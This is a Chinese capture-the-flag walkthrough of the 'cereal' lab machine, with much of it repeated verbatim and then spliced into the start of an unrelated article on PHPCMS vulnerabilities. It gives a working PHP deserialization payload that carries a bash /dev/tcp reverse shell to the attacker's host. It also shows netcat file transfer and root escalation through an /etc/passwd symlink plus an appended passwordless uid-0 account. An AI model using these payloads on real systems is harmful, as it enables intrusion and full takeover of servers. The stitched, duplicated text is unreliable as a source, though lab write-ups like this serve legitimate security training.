這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
查看全部
php抓取網(wǎng)頁(yè)數據插入數據庫 外殼堅硬的谷子
發(fā)現了一個(gè)java_script腳本(實(shí)際滲透工作中應該關(guān)注此腳本內容,能夠透出出后端的信息)
里面的內容大致的意思是
通過(guò)函數,提交表單,通過(guò)序列化的操作!IP地址等信息交給ipaddres這個(gè)變量序列化的操作!
那么在這里面既然有序列化的操作,是否會(huì )存在一個(gè)反序列化的漏洞類(lèi)型呢?
這里還看到了一個(gè)被包含的js的文件
點(diǎn)擊這個(gè)鏈接 :44441/php.js"
里面的內容大致就是序列化函數,大概率存在序列化操作
先對其頁(yè)面進(jìn)行功能化測試,輸入127.0.0.1
在結果框中輸出了結果
輸入一些運營(yíng)商的DNS的IP地址
結果顯示出來(lái),從結果上來(lái)看,就是通過(guò)操作系統的ping 命令操作得來(lái)的!
總的來(lái)說(shuō)這就是一個(gè)ping的功能界面(輸入Ip ,統計輸出一些信息是由服務(wù)端調用了系統的ping 命令而來(lái))
這個(gè)地方是否會(huì )存在命令注入漏洞呢?
使用;號,|管道符這樣的連接命令,連接一個(gè)系統id的命令
如圖:沒(méi)有任何返回
使用burp抓取請求報文,看一下內部的流量變化,是否存在序列化的數據
先把瀏覽器代理設置好
通過(guò)抓取的報文,得到的是一個(gè)POST的請求方式;
攜帶了一個(gè)obj的對象和一個(gè)ip 的變量要提交到服務(wù)端;
其中這個(gè)obj的對象里的內容經(jīng)過(guò)了url編碼,將它轉換成可識別的路徑
轉換結果,懂得序列化格式的朋友一看就是php文件之后的序列化數據的格式了
pingTest :序列化對象定義的的類(lèi)
1 :代表類(lèi)中一個(gè)數據的提交
ipAddress :類(lèi)中提交的一個(gè)數據的變量名稱(chēng)
s : 代表了序列化
9 : 代表了名稱(chēng)ipAddress 和 127.0.0.1字符串的長(cháng)度。
這就是客戶(hù)端發(fā)送的序列化數據格式到服務(wù)端,服務(wù)端收到了127.0.0.1這個(gè)IP 去完成Ping,然后返回給客戶(hù)端的一個(gè)過(guò)程!
如果覺(jué)得burp字體小,可以調的大一些
重新抓取一個(gè)請求報文,在表單中輸入 127.0.0.1;id(增加了注入命令)
在抓取的請求報文中,將obj和ip 這兩個(gè)類(lèi)中序列化數據解碼成可識別的url,看看有什么變化
序列化的格式基本沒(méi)變,變化的就是賦值多了;id 這樣的內容,字符長(cháng)度也增加到了12個(gè);
證明了表單中輸入注入命令的這些內容,由java_script腳本原封不動(dòng)的變成序列化的內容。
轉發(fā)后,服務(wù)端并沒(méi)有執行該序列化的內容
證明服務(wù)端對ip地址這樣的格式存在檢查機制!
為了弄清這個(gè)問(wèn)題,將這個(gè)原始的命令發(fā)送請求發(fā)送給repeater
url被轉換后,在repeater中點(diǎn)擊send發(fā)送給服務(wù)端
在重放的界面中,可以構造一些注入命令;
我在這里添加 | ls ,發(fā)現服務(wù)端的響應報文有500的狀態(tài)碼
改變了字符的長(cháng)度,雖然不是狀態(tài)碼500的狀態(tài)碼,但是回顯頁(yè)面是黑屏
反序列化的漏洞特征在黑盒測試下,是十分難獲取,除非拿到源碼!
那么接下來(lái),就需要再目標靶機中找源碼,在實(shí)際的滲透工作中,源碼的存儲路徑默認在根路徑下的.git或者.svn這樣的版本庫里
先停止burp的截斷功能;
訪(fǎng)問(wèn)瀏覽器,查看是否有g(shù)it的版本庫文件,結果沒(méi)有提示
查看.svn 也沒(méi)有
再回想之前的信息收集,中曾描述了這么一段話(huà):讓我們關(guān)注其備份文件
再次使用dirbuster這個(gè)工具對secure.cereal.ctf:44441這個(gè)路徑下進(jìn)行隱藏路徑和擴展名的爬取,攜帶體型較大的字典文件
在最終的爬取結果中,看到一些之前沒(méi)有被爬取出的備份文件路徑(根據計算機配置,時(shí)間長(cháng)短不一?。?br /> 先訪(fǎng)問(wèn)/icons/small的路徑,訪(fǎng)問(wèn)路徑看起來(lái)但只是有一些小圖片,這對滲透沒(méi)有什么價(jià)值;
再針對/back_en這個(gè)路徑進(jìn)行隱藏路徑的爬取,這里面是否會(huì )存在一些備份文件呢,還是利用dirbuster,只不過(guò)更換一個(gè)小體積的密碼字典文件,攜帶查詢(xún)擴展名為bak
尋找到了一個(gè)index.php.bak,并且這個(gè)http狀態(tài)碼是200 (這個(gè)狀態(tài)顯示該資源是存在的,并且能夠請求到?。?br /> 既然發(fā)現了這一個(gè)文件,回到kali中,使用wget進(jìn)行下載.index.php.bak
查看文件類(lèi)型,看起來(lái)就是一個(gè)php的腳本文件,只不過(guò)增加了一個(gè)擴展名!
使用kali的文本編輯器mousepad打開(kāi)該文件
看起來(lái)是一個(gè)帶有php標簽的php語(yǔ)言文件;
查看該php源碼文件,發(fā)現有html標簽文件
其中有java腳本文件中的一些序列化操作函數
源碼審計分析
class pingTest ---定義了類(lèi)(反序列化對象的類(lèi))
public $ipAddress = "127.0.0.1";--變量名稱(chēng)和賦值
public $isValid = False; -- 校驗是失敗的
public $output = ""; -- 空值
這是之前抓取的報文中obj對象中有的內容
function validate() {-- 定義了一個(gè)函數
if (!$this->isValid) { -- 校驗isValid函數是真還是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用過(guò)濾器對傳入的IpAddress使用方法(使用filter_var進(jìn)行判斷)
$this->isValid = True;--fileter_var函數校驗賦值若成功,將這個(gè)valid值變?yōu)門(mén)rue
}
}
$this->ping(); -- 執行Ping的命令;
}
public function ping() -- 以下是ping 的命令函數具體操作內容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 執行內容就是使用ping 三個(gè)報文;
這里需要明白的是過(guò)濾器FILTERVALIDATE_IP 里的內容是在目標靶機中別的文件里進(jìn)行定義的,其作用就是判斷輸入的內容是不是真正的IP,若是真正的IP,就將isValid改為T(mén)rue;
當post請求接收到來(lái)自obj請求的賦值時(shí),進(jìn)行一個(gè)解碼的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解碼
} else {
$pingTest = new pingTest; -- 新的賦值
}
$pingTest->validate(); --調用vali
分析完成后,攻擊思路的重點(diǎn)放在提交的數據(IP地址)校驗結果取決于與isvalid判定的結果,在源碼文件中,默認isValid = False,若是生成一個(gè)序列化的數據,聲明isValid值就等于True,這樣的話(huà),就會(huì )執行ping命令了!
實(shí)現繞過(guò)服務(wù)端的檢查!
反序列化漏洞的利用方法
先在客戶(hù)端上生成一個(gè)序列化的數據序列(內容中需要聲明類(lèi),調用類(lèi)創(chuàng )建一個(gè)新的序列化對象,,對象中的valid指定true,注入Ip地址后添加系統指令)實(shí)現饒過(guò)isValid真假的校驗。
在kali上新建一個(gè)生成序列化的php文件,寫(xiě)一個(gè)ser1.php的php的代碼
運行該php文件
生成了一個(gè)序列,將這個(gè)序列化的內容拷貝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將序列化內容粘貼到截獲的報文之中去
將這個(gè)url 地址轉換一下
能夠看到有兩個(gè)鍵值對 ipaddress 和isvalid
b=1 為布爾值,代表了真的意思!
點(diǎn)擊發(fā)送,服務(wù)端返回了http狀態(tài)碼200
再觀(guān)察服務(wù)端渲染回來(lái)的界面結果,看起來(lái),是執行成功了!
再次驗證結果,將生成序列化里的內容,稍作修改,將ipaddress改成另外一個(gè)Ip地址,(注意,如果改202.106.0.20這個(gè)IP,字符長(cháng)度就要從原來(lái)的9變?yōu)?2)要不然服務(wù)端會(huì )回顯500的狀態(tài)碼!
結果成功!
由此,可以證明構造序列化的數據向服務(wù)端提交請求!,ip地址后面加入一些系統指令,來(lái)進(jìn)一步證明!
這里我在223.5.5.5后面增加了 ;id
服務(wù)端回顯了200的狀態(tài)碼
渲染界面里提示成功!
觀(guān)察服務(wù)端回顯的回應源數據文件
id的命令被執行了,目標靶機的第一個(gè)用戶(hù)身份是apache的用戶(hù)名稱(chēng)
因此,就可以在此處插入更多的指令
查看目標靶機中是否有nc的命令?
結果命令沒(méi)有回顯
由于插入常規的反彈shell 會(huì )導致字符長(cháng)度過(guò)長(cháng),出于簡(jiǎn)單的目的,使用bash直接連接,產(chǎn)生網(wǎng)絡(luò )連接的方式!
輸入以下內容:
在kali中繼續修改ser1.php文件
保存ser1.php文件后,在kali上開(kāi)啟偵聽(tīng)3028端口
再次運行 ser1.php文件,生成一個(gè)新的序列化數據O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
將這個(gè)序列化的數據內容插入的repter之中,點(diǎn)擊發(fā)送!
如圖所示:獲得了一個(gè)反彈shell的鏈接!身份是apche
本地提權
先收獲第一個(gè)flag!
查看操作系統版本
查看 sudo 權限以及尋找suid文件漏洞,都沒(méi)有得到有效的線(xiàn)索!
查看 目標系統內的所有用戶(hù)
發(fā)現有一個(gè)rocky的用戶(hù)可以登錄系統!
查看rocky用戶(hù)下的所有文件
重點(diǎn)放在了public_html下的文件,可以看到44441端口下的一些文件
進(jìn)入到該文件目錄,查看index.php 這個(gè)文件,發(fā)現內容和我之前下載的那個(gè)文件內容一樣!類(lèi)中的定義也是一樣的!
查看目標靶機的系統進(jìn)程
沒(méi)有發(fā)現可利用的線(xiàn)索 (mysql用的是非root)
目標靶機啟用了大量的端口!
這就是在端口掃描階段,端口結果沒(méi)有應用的原因!靶機作者用nc空開(kāi)了許多無(wú)用的端口!
在漫長(cháng)的信息收集后,決定使用一個(gè)監視目標靶機進(jìn)程產(chǎn)生的工具
pspy64一個(gè)linux系統進(jìn)程監控工具
下載地址:
部分網(wǎng)絡(luò )環(huán)境需要掛的代理訪(fǎng)問(wèn)
百度云下載地址:
提取碼:1zrs
從該軟件的自述文件可以得知,不需要root身份就可以監控用戶(hù)(操作系統)的新的進(jìn)程創(chuàng )建,符合目前靶機的情況,來(lái)搜尋后臺的進(jìn)程-crond,這些后臺進(jìn)程會(huì )運行腳本文件(這些進(jìn)程是root身份運行,比如定時(shí)任務(wù)什么的)
我現將這個(gè)軟件上傳到我的kali上去,因為目標靶機的系統是64位,因此我下載的這個(gè)Pspy也是64位的!
先查看目標靶機的定時(shí)任務(wù)和root下的定時(shí)任務(wù)
在root下提示是沒(méi)有權限的!
將pspy64這個(gè)文件上傳到目標靶機之中,查看目標靶機系統是否會(huì )在一段時(shí)間過(guò)后,自動(dòng)創(chuàng )建一些后臺進(jìn)程(這些進(jìn)程由root身份運行的呢?)
通過(guò)觀(guān)察,在這個(gè)路徑下,我目前的身份是apache ,而這些文件的用戶(hù)組是apche,是擁有所有的權限的,包括了寫(xiě)入的權限!
因此,我利用nc 來(lái)接收這個(gè)pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
傳入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加執行權限到pspy文件~
啟動(dòng)改文件 ./pspy
這個(gè)啟動(dòng)和執行過(guò)程需要等待一會(huì ),系統會(huì )不會(huì )有新的進(jìn)程出現
??!
1:33
在后臺進(jìn)程中,我發(fā)現了一個(gè)叫做chown.sh的腳本,眾所周知chown是linux的一個(gè)命令
這應該是管理員自己創(chuàng )建的一個(gè)腳本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上監聽(tīng)3031端口,增加一個(gè)反彈shell的連接
修改之前抓取的obj對象里數據內容,將之前觸發(fā)序列化漏洞的數據,有一個(gè)端口改為3031
查看目標靶機里的文件,能夠查看到這個(gè)文件的權限是可以被其他用戶(hù)所讀取
查看該chown.sh文件
看起來(lái)是將周期性的這個(gè)/home/rocky/public_html/* 這個(gè)目標文件夾下所有的文件權限改成屬主是rocky,屬組是apache
這就是我之前有一個(gè)chmod +x 執行失敗的原因,正好趕上周期性的將這個(gè)目錄下所有文件的屬主和屬組改變,讓我無(wú)法修改
一個(gè)周期過(guò)后,我在看這個(gè)public_html下所有的文件的屬主和屬組都發(fā)生了變化!
那么,這個(gè)命令腳本內容對目前滲透有什么幫助呢?
軟連接這個(gè)命令這個(gè)時(shí)候就派上了用場(chǎng)!
先來(lái)看一下系統的/etc/passwd這個(gè)文件的屬主和屬組
在kali上只有root用戶(hù)有可讀可寫(xiě)權限,其他的只有讀的權限
在目標靶機中的這個(gè)/etc/passwd文件是屬主和屬組擁有完全權限!
難么在靶機的這個(gè)/home/rocky/public_html下也新建一個(gè)Passwd文件,并連接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
這個(gè)chown.sh腳本在周期性的執行,會(huì )把這個(gè)/home/rokcy/public_html下的passwd文件屬主改為rocky, 屬組改為apache!
等待一段時(shí)間觀(guān)察,監控到chown腳本周期執行,權限會(huì )發(fā)生變化,
可是圖中的passd權限卻沒(méi)有發(fā)生變化!
按照理論目標靶機的/etc/passwd這個(gè)文件的屬主和屬組也會(huì )被修改成rokcy和apache的!
觀(guān)察,/etc/passwd這個(gè)文件的屬主和屬組變化了!
這樣的話(huà)就可以將root密碼設為空了!
因為當前獲得的反彈shell 不太穩定
我這里新建一個(gè)用戶(hù),密碼占位符x 刪除掉,不需要密碼,使用的是uid和gid都為0的設置,了解linux用戶(hù)屬性的都知道uid=0 gid=0 的賬號一定是root角色,并將這些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切換到daidai這個(gè)用戶(hù)
提權成功,獲取flag
到此結束,打靶結束!
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 201 次瀏覽 ? 2022-06-21 00:33
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
